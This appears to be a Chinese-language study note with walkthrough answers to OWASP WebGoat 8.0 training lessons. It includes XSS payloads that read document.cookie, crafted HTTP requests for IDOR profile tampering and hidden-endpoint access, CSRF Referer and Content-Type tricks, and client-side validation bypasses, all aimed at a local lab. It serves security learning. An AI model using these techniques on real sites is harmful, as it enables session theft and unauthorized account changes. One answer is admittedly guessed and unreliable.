OWASP WebGoat8.0 安全测试学习笔记

Authentication Flaws

Authentication Bypasses

lesson2

答案:将请求中的参数secQuestion0secQuestion1分别改名为secQuestion2secQuestion3即可

本题给的案例中是直接把参数给删掉,但提示中说本题有何案例略有不同。然后可以看到这两个参数名是相似的,可以猜想后端可能校验了参数个数,但对参数名的校验上可能存在问题,所以本题修改参数名即可。

Cross Site Scripting(XSS)

Cross Site Scripting

lesson2

答案:yes

本题让在浏览器中新打开一个标签页,输入并访问本站任意的网址(如本题的网址http://127.0.0.1:8080/WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/1),然后在地址栏输入`javascript:alert(document.cookie);`,如果是复制粘贴的话,浏览器可能会自动删掉前面的`javascript:`,需要手动加上,执行后会弹出本站的cookies。
image
本题问题是问各标签页的cookies是否相同,由于都是一个站的,那肯定是肯定是相同的,所以答案就是yes

lesson7

答案:<script>alert('my javascript here')</script>

本题似乎有点问题,直接点Purchase后题目就绿了,但查看响应并没有算作通过。输入<script>alert('my javascript here')</script>可以看到响应中"lessonCompleted" : true。但并没有成功触发xss,原因在lesson8中有详细的说明,继续下一题。
image

lesson10

答案:start.mvc#test/

本题提示说/WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/5的route是start.mvc#lesson/,然后问test code的route是什么。随便输入一个答案可以看到提示,检查GoatRouter.js。在GoatRouter.js中可以发现:

1
2
3
4
5
6
7
routes: {
'welcome': 'welcomeRoute',
'lesson/:name': 'lessonRoute',
'lesson/:name/:pageNum': 'lessonPageRoute',
'test/:param': 'testRoute',
'reportCard': 'reportCard'
}

所以答案就是start.mvc#test/

lesson11

答案:本题答案是一个随机数

接上一题,在GoatRouter.js可以看到如下函数,该函数会发送一个请求,然后会随机返回一个data,提交这个data就可以通关了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
webgoat.customjs.phoneHome = function (e) {
console.log('phoneHome invoked');
webgoat.customjs.jquery.ajax({
method: "POST",
url: "/WebGoat/CrossSiteScripting/phone-home-xss",
data: {param1: 42, param2: 24},
headers: {
"webgoat-requested-by": "dom-xss-vuln"
},
contentType: 'application/x-www-form-urlencoded; charset=UTF-8',
success: function (data) {
//devs leave stuff like this in all the time
console.log('phone home said ' + data);
}
});
}

直接在浏览器控制台中执行webgoat.customjs.phoneHome(),再在Network中查看该请求,会有类似的返回:"output" : "phoneHome Response is 609023750",提交其中的数字即可。

lesson13

答案:本题答案是一个随机数

评论区有一个提示Can you post a comment, calling webgoat.customjs.phoneHome() ?,意思是要在xss的payload中执行这个函数,所以添加一个评论<script>webgoat.customjs.phoneHome()</script>,后续步骤同上一题。

Access Control Flaws

Insecure Direct Object References

lesson2

输入tom/cat,提交即可

lesson3

答案:role,userId

题目问profile中有两个属性没有显示出来,所以点击profile按钮,查看f12中Network中的请求,可以看到如下响应:

1
2
3
4
5
6
7
{
"role" : 3,
"color" : "yellow",
"size" : "small",
"name" : "Tom Cat",
"userId" : "2342384"
}

所以本题答案就是role,userId

lesson4

答案:WebGoat/IDOR/profile/2342384,后面的数字是上一题的userId

本题提示中提到RESTful,加上上题的隐藏的userId,可以猜到url应该是在之前profile的url后跟上userId。

lesson5

查看他人profile需要知道他人的ID,这里只能猜,继续往上猜几次就能发现2342388就是另一个用户的ID。

修改他人profile,提示中有说明需要修改HTTP方法和body,而在RESTful中,一般使用PUT修改数据(在lesson6中也有提示),所以构造如下请求(注意需要修改其中的url和Cookie),其中的role和color都需要按照要求修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PUT http://127.0.0.1:8080/WebGoat/IDOR/profile/2342388 HTTP/1.1
Cache-Control: max-age=0
Accept: application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Cookie: JSESSIONID=CE8C7F19F2462AC70DA9ECFCBBDAB3AF
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36
Content-Type: application/json
content-length: 84
{"role":"1", "color":"red", "size":"large", "name":"Buffalo Bill", "userId":2342388}

Missing Function Level Access Control

lesson2

答案:Users,Config

本题让寻找隐藏的字段,所以打开f12,可以发现如下节点:

1
2
3
4
<ul>
<li><a href="/users">Users</a></li>
<li><a href="/config">Config</a></li>
</ul>

所以答案就是Users,Config。

lesson3

这题让找hash,根据提示上一题的隐藏链接可能有用,直接访问http://172.26.40.161:8001/WebGoat/users将会被误导,而http://172.26.40.161:8001/WebGoat/config则不可访问,这里的坑在于访问users必须要用json格式,所以构造如下请求(需要修改其中的url和Cookie,其中Content-Type必须为application/json):

1
2
3
4
5
6
7
8
9
10
11
GET http://127.0.0.1:8080/WebGoat/users HTTP/1.1
Cache-Control: max-age=0
Accept: application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Cookie: JSESSIONID=0667819BCA256DAE9F6C3B13BF6AB901
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36
Content-Type: application/json

提交返回值中的userHash即可。

Insecure Communication

Insecure Login

lesson2

答案:CaptainJack,BlackPearl

先打开浏览器f12,点击login查看请求,账号密码就在请求中,输入下面的输入框中即可。

Request Forgeries

Cross-Site Request Forgeries

lesson3

点击提交按钮,拦截请求,修改Referer为其他地址即可得到flag。

lesson4

基本同上,点击Submit review,拦截请求,修改Referer为其他地址即可。

lesson7

本题同样需要修改Referer,并修改Content-Typetext/plain,可构造如下请求(需要修改其中的url和Cookie,其中Content-Type必须为text/plain):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST http://127.0.0.1:8080/WebGoat/csrf/feedback/message HTTP/1.1
Host: 127.0.0.1:8080
Connection: keep-alive
Content-Length: 92
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8080
Content-Type: text/plain
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0667819BCA256DAE9F6C3B13BF6AB901
{"name": "Test", "email": "test1233@dfssdf.de", "subject": "service", "message":"dsaffd"}

查看返回值可获得flag。

lesson8

不太明白这一题。
新创建一个账户,用户名为csrf-现在的用户名,用这个新用户登录后点击Solved即可。

Vulnerable Components - A9

Vulnerable Components

lesson5

答案:

lesson12

答案:<contact></contact>

不会做这题,也没搜到答案,随便蒙了一个,虽然算是完成了,但感觉上不对。

Client side

Client side filtering

lesson2

答案:45000。

随便选择一个人查看其信息,服务器返回结果中包含了所有人的信息。

Bypass front-end restrictions

lesson2

答案:修改form表单所有参数的值即可。

lesson3

在f12的console中执行validate=function(){return true},然后修改参数提交。

HTML tampering

lesson2

答案:找到隐藏的name=Total的input输入框,修改总价。

Challenges

Admin lost password